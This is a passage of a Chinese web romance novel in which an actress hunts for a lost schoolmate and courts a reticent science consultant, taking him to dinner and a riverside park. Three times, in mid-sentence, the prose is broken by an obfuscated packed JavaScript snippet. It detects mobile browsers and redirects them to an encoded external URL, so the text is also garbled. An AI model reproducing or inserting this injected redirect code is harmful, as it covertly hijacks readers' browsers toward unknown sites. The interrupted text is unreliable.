乌曼因凑过去:“老师您好,我们想查一个学生的档案。” 女老师抬头,推了推眼镜:“什么名字?哪一届的?” “李藏之,大概八年前的学生。”乌曼因说。 女老师点点头,手指在电脑上输入名字,还没输完就手一顿,皱眉:“……你们是他什么人?” 乌曼因和庞清对视一眼。 庞清硬着头皮说:“我们是……他朋友。” “朋友?”女老师狐疑地看着他们,“有能证明你们关系的材料吗?或者他的委托书?学校不能随便泄露学生档案。” 乌曼因眨眨眼:“老师,我们真的是他朋友,就是很久没联系了。” 女老师冷酷地摇头:“那不行,这是规定。除非你们能证明和他有关系,否则我不能给你们看。” 乌曼因叹了口气,祭出最后一招,扑闪着眼睛装可怜:“老师,我们大老远跑来,只看一下,就帮个忙嘛。” 女老师不为所动:“抱歉,规定就是规定。” 这个不是粉丝,对乌曼因有法抗。庞清拉了拉乌曼因的袖子:“算了,走吧。” 两人走出学生处,门在身后关上,隔绝了舒爽的冷气。乌曼因踢了一脚地上的小石子:“白跑一趟。” 庞清倒是早料到会这样。 他对母校的管理还是很有自信的,作为县城里最重要的升学途径,黄钟县高中一直不是什么草台班子,以严苛、规矩死板著称。 刚才门口的迷弟保安绝对是个意外。 看乌曼因忙了半天一无所获的样子还挺爽的。 乌曼因突然停下脚步:“我有个主意。” “什么?” “既然正规渠道不行,我们就偷偷溜进档案室……” 庞清倒吸一口冷气:“你脑子被李藏之烧坏了吧,我可不想陪你上社会新闻,‘过气女明星擅闯高中涉嫌盗窃’,听上去就很猥琐。” “谁过气女明星了?!” “重点是这个吗!” 两人对呛着晃荡到学校小卖部,一人买了根一块钱的复古冰棒,找了个有树荫的台阶唉声叹气。 乌曼因原本在台阶上伸着大长腿晃荡,冰棒的甜腻和凉意勉强压住心头的烦躁。 百无聊赖间,目光无意识地扫过对面绿化带旁边的一排旧宣传栏,她震惊地一把抓住庞清的辫子:“喂喂,你看前面。” “前面怎么了,你说大鹅湖?别过去,里面的大鹅真会咬人的。” 乌曼因嫌弃地擦擦手:“看公告栏。” 这是学校绿化的一个小角落,对面栏杆上布置着宣传栏。 宣传栏上贴着老旧发白的红纸。 “谁啊……李藏之?不对,”庞清顺着乌曼因指的方向看去,下意识念出红纸上最顶端的名字,“李忘之?” 这是谁? 两个人三步并作两步扑过去,蹲在公告栏旁仔细研究。 公告栏的红纸上事无巨细写着李忘之的荣誉生平。 也不知道是不是此人过于优秀,毕业这么多年,红纸都褪色了,她的荣誉一直保留在这块宣传栏上。 供后来的学弟学妹们瞻仰。 “中国化学奥林匹克金牌,保送北大,”庞清揉了揉眼睛,确认自己没眼花,“我们这小县城风水不太对吧,是不是有点太藏龙卧虎了,也许这人就是李藏之?” 乌曼因敲敲公告板:“有照片看清楚点,人家是女生。” “李藏之穿女装?” “你大爷的才穿女装,你全家都穿女装!”乌曼因毫不客气给庞清头上来了个暴栗。 她擦去照片上的灰,想要在这张模糊的女生证件照上找到些李藏之的影子。 其实两人长得不太像。照片上的女生眉眼清秀,带着点书卷气的沉静;李藏之更瘦更阴沉一点,眼里藏着化不开的浓雾。 乌曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323452|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因脑子里突然冒出个奇怪的想法,她现在觉得李藏之更像蝙蝠侠,刚开始认识觉得他是workalone的独行侠,实际上他的身后还有阿尔弗雷德、夜翼、红头罩、红罗宾、罗宾…… 户口本满着呢。 这个念头一起,一股微妙的、带着强烈占有欲的不爽感,像小虫子一样悄悄爬上了她的心头。 “嘁,我知道应该是兄妹或者是姐弟……光看智商就知道了,这玩意儿还蛮遗传的。”庞清揉着后脑勺,哼哼唧唧。 现在是信息时代了,两人对视一眼,掏出手机就开始搜。 没多久就有了结果。 “这个妹子在北大作为优秀毕业生发表过感言,真厉害,是我喜欢的类型。” 乌曼因扒拉屏幕,随口吐槽:“你见什么都喜欢。” 这点倒是和她很像。 庞清欣赏了一下李忘之的颜值,把这篇宣传软文划到底下,看了看日期,哽住:“三年前的。三年前就已经北大毕业了,怎么办?那边肯定也不会让你查学生资料的。” “她现在还留在北大,我搜到她的一个校内访谈链接,她毕业后留在本校读直博。” 庞清挑了挑眉:“女博士?” 乌曼因把全是英文界面的手机扔给他看:“我还顺着查到了她本科参与的论文,有挂本人工作邮箱,发邮件她总会看的吧?” “要是她不看呢?” “跑得了和尚跑不了庙,狗仔能蹲点我也能。” 庞清竖起大拇指。 “实在是高。” 平时也没见乌曼因多精明,在找李藏之这件事上怎么就化身福尔摩斯。 智商和行动力忽然爆棚。 “话说,你搜‘李藏之’这个名字了吗?”庞清看着手机上“李忘之”漫天的搜索结果,忽然想到。 “搜过。” “有什么结果。” “什么都没有。” 干净得像是从来没有这个人一样。 甚至也没有王兴旺所说的他在央视的视频记录。 时间太久远了,十年前央视的综艺视频源都找不到,何况只是一个小县城的普通人。 天才有很多,不是每个人都能留下名字。 “李藏之、李忘之,不知道什么意思,取的时候怎么想的。”乌曼因念了两遍。 一个“藏”,一个“忘”,除了做名字有点不吉利外,还挺好听的。 她是说为什么揽着李藏之说她来当他姐姐的时候表情那么嫌弃,原来有自己的亲姐妹,根本看不上她。 忽然头顶笼下一片阴影。 她脖子机械般一格一格抬起,只见折敛那张清淡干净的脸毫无预兆地悬在正上方,举着伞挡住毒辣的太阳,也挡住了她刚“咕噜噜”冒上来的小酸水。 乌曼因手里的冰棍“啪嗒”掉在地上。 她心心念念、理应在京郊剧组当顾问的折敛不知道为什么穿越一千多公里,突然出现在这里。 在她最烦躁的时候出现了。 “‘中心藏之,何日忘之’,”穿着宽松白色卫衣、很有少年感的男人微微俯身,将伞倾向她,“诗经里的一句。” 不知道听了他们聊天多久。 25. 重色亲友 乌曼因拉着折敛的手站起来,腿蹲得有些麻。 觊觎折敛这么多天,终于如愿以偿握住这双心心念念的手。 他的手很凉,仔细看关节处还有茧子,指节修长有力。 乌曼因没忍住,摸了摸。 和她想象里比起来更粗糙一点,带着点电子元件和金属混合的气息。 折敛滞了一下,若无其事地把手抽回去。 折敛抽手的动作很轻,带着些不适应和人接触的矜持。 她遗憾地见好就收。 端庄,要保持女明星的端庄,她告诉自己,一顿饱还是顿顿饱她还是分得清的,把人吓着了可就不好了。 等到折敛成为了她的人,他那双美貌的手还不是任她搓圆揉扁。 倒也不需要问“你为什么会来”这种蠢问题,男人想来见你,无论多远都会来。 纷繁思绪汇合到嘴边,乌曼因脑子里飘过八百条撩汉语录,最后憋出一句:“你还对诗经有研究啊?” ……乌曼因,你不是前男友可以做婚礼一桌的吗,这是什么学术研讨开场白。 但不知道为什么,可能是因为折敛是她在维修店里捡到的、又是范略请来的顾问,和她工作范围差距太大,距离产生美。 随便的乌曼因一对上他清凌凌的眼睛,就没法把他当做娱乐圈里随便的男朋友。 俗话就是舍不得欺负老实人。 折敛顿了顿,有点逃避这个话题:“小的时候家里要求背的,其实不知道是什么意思。” 很早以前。爸妈带他去北京、去各种地方演讲,向所有人表演他的“只看一眼背完诗经”或者背完其他东西。 囫囵吞枣背出来的文字,折敛根本不懂,再加上从小到大完美地绕开了所有语文课程,他的文学素养只能说、是个中国人会说中国话。 至于李忘之。 李藏之和李忘之是双胞胎。 作为村里第一对双胞胎,乡下的新奇物种,阿婆专门找了乡里很有名望的大师给他们取名字。 收了一百块钱后说他取的这俩名字可以保佑一家人和和美美、平安康泰、百病全消。 不知道哪里来的野鸡大师。 李忘之很早就被送人了,某种意义上说,两人只是陌生人而已。 这家伙还打电话让他别露馅,破绽最大的就是她自己好吗? 事实上折敛多虑了,乌曼因是艺术生,两人的文学水平基本上在伯仲之间,难姐难弟,谁也别说谁。 两个文盲相对沉默了一下,双方都不是很想暴露自己的真实水平。 乌曼因装作很忙地拍拍牛仔裤,朝他的伞下又蹭过几分,两人贴在一起,跟说悄悄话似的:“你什么时候过来的,怎么不和我说一下?” 折敛的目光清清淡淡,扫过地上蹲着的一坨庞清,没把他放在眼里,轻声细语地对着乌曼因道:“刚刚才到的。” “那你怎么找到这里的?” “我看了你的朋友圈。”折敛解释。 乌曼因的朋友圈总是满满当当的,鲜活奔放,连图带字事无巨细地记录自己的生活小事,女明星起床了、女明星吃饭了、女明星去录歌了,九张图少一张图都被视为对微信排版的大不敬。 重返高中校园这么有纪念意义的事,自然也记录在了女明星的电子起居注里。 “哦哦,”乌曼因很容易就接受了这个理由,对折敛居然真的看她的朋友圈有些小窃喜,经过真音姐的打击之后她还以为折敛这么冷淡的人点赞纯属社交礼貌,“剧组那边没关系吗?” “没关系,我已经帮他修改过一遍了,而且学生先过去了,”折敛说,“还有事的话可以微信说。” “然后就翘班过来陪我了?”乌曼因歪头。 也不算错。 折敛思忖一下,点点头。 乌曼因心里乐滋滋的。 自己追crush,和被crush追的感觉到底是不一样的。 没想到折敛是个直球选手,直接追着她来到了黄钟县。 胆子更是大了不少,原本和她有眼神对视就害羞,现在居然敢直接和她一起撑伞。 也不知道为什么就突然间开窍了。 折敛偏头问:“你要找的人找到了吗?” 乌曼因:“……过程有些曲折,但我相信快了。” 折敛睫毛微颤,似乎不经意地扫过公告栏上的名字:“不知道突然过来会不会打扰,听你说是过来找人的,我就想,也许可以过来陪着你。没准我还能帮上一点忙。” “不会打扰啊,”乌曼因哪里舍得对他说重话,“多一个人多份力嘛。” 向后的力也是力,折敛想。 庞清警惕地看着这个突然出现的男人。 又高又冷,身着简单的白色卫衣和黑色裤子,气质就和他们小地方的人不一样,明显是乌曼因鱼塘里的鱼。 但以他的身份又没立场对看着就是乌曼因的娱乐圈朋友说什么。 他暗暗为李藏之叹一声可惜。 等反应过来自己在可惜什么时,顿时想抽自己两巴掌,死脑,你在乱想什么。 他巴不得李藏之倒霉才对。 庞清把自己不爽归结为黄钟县居然没人能得到乌曼因青睐的埋怨。 没一个中用的。特别是李藏之,不知道躲到世界上哪个角落,让别人把乌曼因勾走了吧。 庞清蹲在旁边发出声意味不明的冷笑。乌曼因这才想起现场还有个活人, “哦哦,对了,向你介绍一下,”乌曼因望着地上团成一团的庞清,再看看气质清冽干净的折敛,忽然觉得有些有点拿不出手,局促道,“这是我以前乐队的朋友,打碟的,庞清。” 折敛:? 谁? 他摸了摸左边耳朵上的银色助听器,怀疑自己听错了。 他的目光落到庞清脸上,企图从上面找到以前那个落拓不羁鼓手的一丝踪影。 折敛:…… 完了,他好像也有点脸盲。 两边都迟迟没有动静,乌曼因不知道为什么氛围忽然冷却下来。 不好对折敛说什么,她拎着庞清到角落里低声咬牙:“怎么忽然不吭声了。” “这野男人是谁?”庞清沉沉地问。 乌曼因也小声答:“他叫折敛,我的男友预备役,你给我精神点。” “娱乐圈的?” “勉强搭点边吧,剧组科学顾问,中科院的博士。” 庞清复杂地道:“这么多年,你还是喜欢学习好的?” “?” 乌曼因本来想说才没有,她平等地欣赏各种美男,无论是纯情奶狗、高冷仙气、居家煮夫等等类型。 转念一想,其他类型都可以模仿出样子货,只有学习不好那是真的不好,于是—— “啊对对对我就喜欢学习好的。” 庞清的脸色更酸了:“看上个带助听器的残疾人,你也真不挑。” 这话乌曼因就不爱听了,折敛的耳朵更是缺憾美,是比萨斜塔的倾倒,是维纳斯的断臂,庞清这种没内涵的男人懂什么,于是“呵呵”一声,开始地图炮: “我乐意,怎么了?起码身材好,身材都不好的男人能有什么魅力。” 这话戳到了庞清痛脚,他顿时红温了。 其实乌曼因只是嘴上犟。 折敛总是穿着宽大的长袖卫衣,夏天都保守地不露胳膊,半遮半掩地露出半截锁骨和手,勾得人直心痒痒。乌曼因还真没注意过折敛身材如何、有没有腹肌。 但是看那皮包骨的雪白手腕子,肯定够瘦。 男人又高又瘦又美又话少,赢在起跑线上。 庞清暗暗吸了吸肚子,发誓今年、一定要减肥成功。 “那今天还找人吗?” “先带折敛去吃饭。”乌曼因像是被妖妃蛊惑的昏君。 “看来预备男友比李藏之还重要啊。” “哪能那么比,不在一个赛道上。”乌曼因不理庞清突然间的阴阳怪气。 她对上折敛安静的眼睛,确实对他特意过来找她,但是她还忙于其他事、身边损友还拖她后腿而产生了点歉意。 得知李藏之其实有个妹妹后,乌曼因心里的劲不知道为什么泄了一半。 他可能也没有她想象得那么艰难,妹妹也很棒很聪明。 也许她回到北京,联系上李忘之,就能见到很久很久没有音讯的李藏之。 她去兄妹家做客,两个人嘴里会聊着她听不懂的东西,远比他们在杂物室里的曾经更深奥也更和谐。 乌曼因忽然有些兴致阑珊。 …… 庞清不知道抽什么风,她索性也不介绍了,不理那个蹲在地上的蘑菇,回来拉拉折敛的袖子,带他去了趟小卖部,给自己补充了一根冰棍,顺便给折敛也买了一根。 折敛确认了庞清没认出他,才放下心来。他一向习惯接受乌曼因的投喂,伸手自然地接过,小心翼翼地撕开包装,像对待什么珍贵标本一样谨慎。 他小口舔着,不是很习惯的样子。 很久没有乌曼因给他投喂垃圾食品了。 “万元说你以前是戴眼镜的,”路过坐满高三学生们伏案的教室,青葱的气息扑面而来,乌曼因转头盯着折敛的脸,把他盯到不自在偏过头,“怎么现在不戴了?” 校园限定版折敛那么青涩好看。 “……度数不深,只在大学的时候戴过,教室有点太大了,我不喜欢坐在前面。” 乌曼因打量:“咦,你看上去不像是会上课溜号的类型来着。” “因为很多时候是蹭课,不想被注意到。” “被发现是蹭课的会被赶出来吗?” “不会,解释了就行。” “那岂不是想听什么就可以进去听?” 折敛点点头。 原来普通的大学是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323453|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的,乌曼因有点向往。 为了显示自己也是肚里有货的人,她啃着冰棍回忆自己苦逼的求学历程:“我在职读了音乐硕士嘛,其实是当时报考的时候选错了,我以为音乐硕士和音乐表演硕士差不多,结果报了之后发现完全不是一回事。” 折敛眼睛睁大了一个弧度,显然很感兴趣,等着她讲下去。 乌曼因叹气:“本来想学声乐的,后来才发现我报考的方向要学的是和声曲式和作曲理论,混了三年,偏偏我毕业那年论文查重率标准大幅度降低,我写了将近一年才把论文写完。” 生活不易,女明星延毕。 折敛嘴角微微一动。 “你笑什么?”乌曼因突然凑近,鼻尖几乎碰到他的下巴。 折敛这才意识到自己嘴角上扬的弧度。他下意识后退半步,却被乌曼因抓住了手腕。 “别躲。”她拇指无意识地摩挲着他腕骨突出的地方,“你手腕好细,平时不吃饭的吗?” 折敛感觉被她触碰的那块皮肤像被烙铁烫过一样发烫。 他应该抽回手的,但某种隐秘的渴望让他并不动作。 任由乌曼因牵着他的手腕。 两人一边说话,一边走回公告栏处。 乌曼因觉得自己肩负导游重任:“难得来一趟多辛苦啊,我请你吃饭吧,尽地主之谊。我跟你说以前在黄钟县呆了两年,算半个本地人,哪里的菜地道我门儿清,保证让你宾至如归。” 真正的本地人庞清:? 见乌曼因最后的同事爱就是还记得有他这个人,庞清为自己和李藏之都叹口气,大家既然同是败犬就不必互相伤害了。 师父她被男妖精拐走了。 走出校门,路过保安室的时候,乌曼因想起了什么,刻意拉过折敛的手,手指插/进他的指间。 折敛:“?” 他想拿回手,却发现乌曼因箍得死紧,根本抽不开。 乌曼因微笑地向年轻保安打招呼。 十分满意他脸上“我cp怎么be了”的悲愤神色。 …… 到了车上,庞清开车,剩下两个人窝在后座上,吹着空调,头挨着头。 一起浏览着乌曼因手机上推荐的黄钟县美食。 “对了,你订好酒店了吗?”乌曼因问。 “还没有,打算到晚上再订。” “那你和我订一个酒店吧,”乌曼因切换了个app,很殷勤地向他推荐。 由于做好了半个月驻扎黄钟县的准备,她找了家五星级的长租酒店,就是位置比较偏,价格也不便宜。 想起折敛的工作,某种意义上他还是个没毕业的学生,这么一想她泡嫩草的既视感更重了些,但嫩草应该只是个穷学生吧。 她的手又慢下来了:“要不……先问问本地人哪个酒店性价比比较高一点?” “没事。”折敛拿过她的手机,看了下酒店名,“是哪种房间?” “别浪费啊,”乌曼因眼睛转了一圈,“要不这样,我升级成套间,两张床,也没比我现在的房间贵多少,然后我俩平摊。” 说得她很勤俭持家的样子。 庞清已经不忍心听下去了。 算盘珠子打得都要崩他脸上了。 他应该在车底,而不该在车里。 折敛看上去很没心机地“嗯”了一声。 升级好酒店,两人继续看美食。 “有想要吃什么吗,黄钟县的炒菜还挺好吃的。” “我记得你喜欢吃辣。”折敛说。 乌曼因歪头看他:“你怎么知道?” 折敛的耳尖微微泛红,手指蜷缩进卫衣袖口:“……看你朋友圈,感觉你喜欢。” 乌曼因笑眯眯:“那就这家本地辣菜馆吧,我以前吃过,挺好吃的,在北京我经纪人一般不让我吃。” 折敛别过脸去,乌曼因注意到他后颈那片皮肤泛着淡淡的粉色。 折敛本来就显小,毛茸茸的头发半藏在卫衣兜帽里。 混进学生堆里也毫无违和感。 像是她干坏事从学校里偷出来的学生。 乌曼因像是忽然想起来前座还有个人:“对了庞清你要一起去吃吗?” 庞清面无表情:“我妈妈喊我回家吃饭。” “哦那真是太好了……我是说太遗憾了,麻烦把我们送到迎宾路上那家辣菜馆就行。” 庞清忍不住捏紧方向盘,悲愤。 这男人一来,乌曼因就变了,连李藏之在她的心里的地位都急剧下降。 世界上怎么会有如此重色轻友的人。 折敛的手机忽然不断震动,他不动声色拿出来瞄了一眼。 万元:不是,哥,你怎么把我丢下了?我还在学校里啊! 万元:? 万元:啊啊啊啊你怎么跟着女明星跑了!! 折敛面无表情地把手机放了回去,权当没看到。 26. ……男朋友? 啊?我吗? 两人站在店门口,招牌破旧,似乎刮一阵风就能吹跑。 内堂黑洞洞的,不像是诚心招待客人的店铺,只有外卖员进进出出。 乌曼因心虚地看着已经和记忆里完全不同、面目全非的饭店,觉得:“信我,很好吃的。” 还是乐队朋友带她来吃过的店呢,本地人认证,虽然好像随着时代的发展,它也有了些新的变化。 折敛摇摇头:“没什么,进去吧。” 事实证明,八年时间,不仅人可以物是人非,饭店也可以变成预制菜馆。 怪她没怎么仔细看网上的近期评价。 随意往厨房里面看了一眼,就看见厨师拿着预制调料包往饭里面倒。 乌曼因:“……” 折敛对她的不靠谱早有心理准备,他拉拉乌曼因衣服,说:“我查了附近有一家饭馆还不错,我们去那里吃吧。” 折敛按照手机上的推荐,带乌曼因七拐八弯在街道角落里找到一个苍蝇馆子。 饭馆有些老旧,是个卖普通农家小炒的馆子,店主上了年纪,现在对晚饭时间来说也有点太早,店里一个人都没有。 两人找了个角落坐下,看起了简陋又丰盛的菜单。 折敛的眼光还真不错,这家饭馆看着十分地道。 “有什么忌口可以和我说。” 折敛摇摇头,乖巧地说:“不用在意我的。” “真的,随便说吧,没事的,别客气。”乌曼因拍拍胸脯,拿出了北京人“别跟我见外”的豪爽。 折敛端详乌曼因神色,见她不像说假话,才谨慎地道:“好吧,我不吃葱姜蒜,韭菜,猪肉,羊肉,糖醋,咖喱,芝士,任何动物的下水,刺很多的鱼,贝类,卤味,炸货,烧烤,吸油的蔬菜……” 乌曼因随他报的名字增多而笑容逐渐凝固。 排除掉这些那和吃减脂餐有什么区别。 人生还有什么乐趣。 出北京前她得吃减脂餐,出北京后还得吃他大爷的减脂餐,她不白出北京了。 “你刚说什么?” “没记住吗?我再说一遍?” “我说上一句。” 折敛想了想:“‘不用在意我’?” 乌曼因拿起菜单:“好,我们点菜。” “……” 点完菜后,店主给他们上了两套餐具和一个铁盆、一壶热水。 乌曼因边拆边小声说:“黄钟县这边习惯把吃饭的碗筷用热水再烫一遍,倒进盆里。” 怏怏的本地人折敛被迫不情不愿地和外地人乌曼因磕磕绊绊重温了一遍家乡的习俗。 折敛嘀咕:“其实没什么用。” 乌曼因不以为意:“有人也跟我这么说,但做一下也没事,哎,入乡随俗的仪式感嘛,十年了居然一点都没变。” “有人”自然是李藏之,中二的年纪,看什么都不顺眼。 其实折敛现在也看什么都不顺眼。 尤其是庞清。 他和乌曼因不是已经很久没有联系了吗?怎么又勾搭上了? 想想就生气。 等菜端上来之后。 乌曼因先拍了个照,再围观了一会儿折敛进食,发现折敛果然如他自己所说、是个非常挑食的人。 吃饭跟吃仇人似的。 乌曼因很有良心地给他点了一两盘水煮菜。 他真就只夹那几样固定的食物。 两根青菜、一个牛肉丸、两根青菜、一个牛肉丸……一粒米一粒米地数着吃。 难怪那么瘦。 好难养活的小家伙。 “你这种吃饭方式。你家里人不会骂人吗?”乌曼因托着腮,细嚼慢咽地品尝,不理解怎么有人对美食那么抗拒。 她有七八年没吃到黄钟的土菜了,还怪怀念的。 折敛端着碗,筷子尖在米饭上戳出几个小坑,愣了一下才想起自己在乌曼因面前,已经是个陌生人。他垂下眼,声音轻得像雪落:“我家里已经没人了。” 人在说谎的时候就会话多,他补了一句:“去世很多年了。” “呃……”乌曼因的筷子“啪嗒”掉在桌上,她手忙脚乱去捡。 该死,说错话了。 她用余光偷偷瞄着折敛脸色:“对不起哦,提起你的伤心事……” “没事,很早就去世了,”折敛面色如常,“那时候我还小,没有太大感觉。” 单身太久导致对男性语言功能退化,为了防止自己强行搭讪又说出什么不该说的话,乌曼因赶紧低头扒饭菜掩饰,结果被辣椒呛得直咳嗽。 “慢点。”折敛递来纸巾,手指在接触到她的指尖后停顿了半秒,缩了回去。 习惯性地摸了摸自己的助听器。 乌曼因的视线被他修长的手指吸引过去,跟随着落到他和肤色一样苍白的耳朵上。 硬质的助听器搭在柔软的耳廓外。 给一向表情平静的折敛平添了几分脆弱。 呜呜呜,他一定在假装坚强。 乌曼因给自己灌了一杯水。 仔细一想,怎么会有这么惨的人,没有父母,全靠自己找到一份不错的工作,苦尽甘来时又出了车祸导致听力受损、戴上了助听器生活。 情感充沛的女明星被自己脑补的内容中那个努力生活的折敛感动死了。 还好,有她这么一个只喜欢脸、喜欢声音的肤浅女明星出现了,虽然她可能给不了多少爱,但能给钱啊。 以前她对李藏之会画饼说“我偷电瓶养你啊”,现在成为了有钱女明星就不必那么抠门了,她隔着窄小的桌子抓住折敛的手,神情认真地像是在礼堂宣誓:“我有很多很多的钱,都可以给你花。” “?” 折敛无语,这人突然发什么癫? 虽然乌曼因的手和真心一样炽热,掌心暖呼呼的,在他手背上留下细微的触感。折敛倒没有太当真,乌曼因在他这里信誉为负。 只有嘴上说得好听。 但折敛还是高兴的,主要是很久没听到乌曼因给他画大饼了,耳朵不由自主地竖了起来。 然后乌曼因听到他问:“你是不是没带钱,要我付?” 乌曼因气哼哼地把账去结了,一看消费65,好家伙,限制了她的发挥。 她气哼哼地走回来:“明天我带你去吃大餐,日料、法餐,随你选。” 折敛看了她一眼,没立刻答应,只是低头又夹了一筷子菜。乌曼因不死心,脚在桌底下轻轻踢了踢他的鞋尖:“去不去嘛?” 他微微蹙眉,抬眼:“你平时都这么……” “这么什么?” “……”折敛顿了顿,似乎在斟酌用词,“……大方?” 乌曼因“噗嗤”笑出声,托着腮凑近一点:“对跟了我的人,我一向都很大方。” 所以小美人不要矜持了,快到她碗里来。 折敛拿过乌曼因随手丢在桌上的小票,摸了摸纸上面的数字。 当乌曼因如今的朋友的待遇那么好的吗,以前怎么总喂他白面馍馍? 凭什么? 折敛对她做的远不及李藏之所做的万分之一。 凭什么? 他敛下眼遮住眼中的嫉恨。 要不要吃穷乌曼因当作小小的报复? 看出折敛的神色动摇,乌曼因乘胜追击:“所以,明天去不去?” 他低头喝了口汤,半晌,才慢吞吞地“嗯”了一声。 “但不要日料和法餐,我不吃海鲜也不吃蜗牛。”折敛小声补充。 “吃什么都行!” 乌曼因露出一个比火彩钻石还灿烂的笑容,花了钱还很高兴的样子。 折敛望着她,缓慢咀嚼。他原本很难咽下食物,这餐饮食还不符合他的食谱,嗓子在本能地排斥油腻与粗糙,他盯着她不断开闭的红唇,把她当做食物的一部分。 不知不觉,居然吃的比平时还多了点。 …… 结完账出门时,天色还很亮。 乌曼因伸了个懒腰,突然提议:“要不要去看电影?或者去公园散步?” “都可以。”折敛站在她身侧,声音很轻,“只要和你一起。” 这句话让乌曼因心头一颤。她转头看他,发现他正望着远处的江面,侧脸在暮色中显得格外柔和。 她没有看清折敛眼中瞳孔深处,迷乱的专注与恍惚。 两人找到了一家电影院,发现扛把子电影是乌曼因死对头俞雅主演的 最后他们决定去江边公园。 唯一的失误是忘记了南方的蚊子有多猖獗。 吃饱了刚好给蚊子加餐。 偏偏折敛穿着长袖,歹毒的蚊子不咬他,专盯着乌曼因啃。没多久就一手包。 路过一家便利店时,折敛突然停下:“等我一下。” 他跑进去,几分钟后拿着一瓶花露水出来,递给乌曼因。 黄钟县的游轮开始上班了。 女高音嘹亮的声音清越地传遍高山河两岸,公园里散步的黄钟县人摇头晃脑,脸上露出惬意的神色。 今天晚上的曲单是《我心永恒》,熟悉的旋律在夏夜的微风中飘荡,带着几分怀旧的气息。 乌曼因和折敛并肩走在河堤的石板路上。 乌曼因想过,要是和折敛表白的话,一定要选家环境高雅的餐厅,嘱咐主理人放首充满爱意的BGM,她再深情款款送上一捧香水百合搭配玫瑰花,在花束的芬芳中表白。 区区男人,手到擒来。 虽然一切和想象中略有偏差,在黄钟县没条件,但饭也请了,BGM也有了。 乌曼因看了看手里的花露水,花露水怎么不算花呢。 全部低配了一点,但意思都差不多。 好像离告白就差告白了。 不远处传来小孩的嬉闹声。角落里有一架双人秋千,原本扒在上面的小孩刚刚被家长提溜走,哭着喊着回家了。乌曼因立刻拉着折敛冲过去霸占了秋千。 折敛被她拽得一个踉跄,却也没挣脱,任由她拉着自己跑向秋千。乌曼因得意地坐上秋千,轻轻荡了荡,发丝在晚风中飘扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323454|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋千有些矮,折敛坐上去时不得不曲着长腿,他看着旁边眼巴巴的小孩:“和小孩抢秋千,有点丢脸。” 乌曼因才不管,她晃着双腿,像个孩子似的越荡越高:“大孩子也想玩秋千。我都好久没玩过了。” 折敛摇摇头:“你小心点,别摔了。” “才不会呢。”乌曼因说着,却故意在秋千荡到高处时假装失去平衡,“啊呀——” 折敛几乎是瞬间抓住她的手臂稳住她。两人的距离骤然拉近,乌曼因能闻到他身上淡淡的洗衣液香气,混合着夏夜微热的体温。 “你故意的。”折敛盯着她的眼睛,叹气,又被骗了。 乌曼因哈哈一笑:“被你发现啦。”她没有挣开他的手,反而就着这个姿势凑近了些,“折敛,你是不是特别喜欢我啊。” 她不再动作,任凭秋千自由地荡。慢慢回落。 女明星的告白倒是很特别,她偏不说“我喜欢你”,一定要折敛先承认,他喜欢她。 折敛在乌曼因温柔的注视下狼狈地移开眼,他下意识想逃,却发现乌曼因把他困在了天上。 无处可逃。 他不意外乌曼因知道自己在他心里的地位,哪怕只重逢了几天。有太多人在几天内就被她蛊惑了,这是乌曼因的天赋,他在其中显得毫不特别。 当年的李藏之,听到这个问题的时候就已经炸了,会一边“谁喜欢你”、一边夺门而出。 可当年是当年,现在是现在。 乌曼因早已经是舞台上耀眼的光。 所以,为什么? 折敛睫毛有些紧张地轻颤,他说不出“很喜欢”三个字。 最后,他手里紧捏着秋千的绳,偏过头。 “你会要我吗?”他闷闷地问。 很喜欢,喜欢到开不了口,怕开口了又会失去。 乌曼因心疼极了。 她天生喜欢救风尘,尤其看不得美人落难,当年看着李藏之可怜兮兮的就心软,财富自由后大把大把地撒钱做慈善。 人的一生总是反复踏进同一个坑里。 折敛更是完美地戳中了她的xp,又貌美又听话,学历高人聪明,性格纯良,不会得寸进尺,分寸把握得很好,像是根据她需求定制的一款AI男友。 以前听网友阴谋论说,《三体》里庄妍其实是专门为了罗辑喜好培养出来的特工。 真遇上这么攒劲的人,乌曼因只能说,太理解为什么罗辑那么快坠入爱河了。 她这么聪明她能被折敛骗了?折敛这么肤白貌美他能是坏人吗?别管,被折敛迷倒只是她的手段,她有自己的节奏。 这么嫩的小孩吃到就是赚到。 用手卷自己一绺不听话的头发玩,发丝在指尖绕了一圈又一圈。 “当然要,”乌曼因循循善诱,“既然那么喜欢我,那你想不想更进一步?” “什么意思?”折敛靠在秋千上,低头看着她明亮的眼,江边闪烁的霓虹灯倒影在她的瞳孔里。 他似乎有点迷茫,向上翘的眼睛睁开了些。有些可爱。 乌曼因笑嘻嘻的,忽然凑上前,在折敛脸上烙下一个吻。 她说:“当然是这个意思。” 